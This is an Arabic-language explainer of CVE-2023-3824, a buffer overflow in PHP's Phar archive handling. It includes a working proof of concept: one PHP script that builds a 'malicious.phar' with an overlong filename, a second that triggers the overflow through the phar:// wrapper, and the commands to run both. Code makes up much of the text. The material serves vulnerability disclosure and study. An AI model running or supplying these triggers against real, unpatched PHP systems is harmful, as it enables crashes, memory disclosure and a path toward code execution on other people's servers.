
ثغرة في ملفات PHP Phar، ناتجة عن تجاوز سعة المخزن المؤقت، تنشأ من عدم كفاية التحقق من طول أسماء الملفات داخل أرشيف Phar. يمكن للمهاجمين الخبيثين إنشاء ملفات Phar بأسماء ملفات طويلة، مما يؤدي إلى تجاوز سعة المخزن المؤقت واحتمال تنفيذ كود خبيث أو تسريب البيانات. يمكن استغلال هذه الثغرة لتنفيذ كود CVE-2023-3824
يوضح هذا الإثبات العملي (PoC) كيفية إنشاء ملف Phar ضار في PHP وبدء ثغرة تجاوز السعة المخزنية.
create_phar.php) وأضف الكود التالي:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
نفذ النص PHP لإنشاء ملف Phar الضار: انسخ الكود
php create_phar.php
أنشئ ملف PHP آخر (مثل trigger_overflow.php) وأضف الكود التالي:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
نفذ النص PHP لتشغيل تجاوز السعة المخزنية: انسخ الكود
php trigger_overflow.php
سيقوم البيان var_dump($x) بإخراج نتيجة عملية تجاوز السعة المخزنية والقراءة الزائدة.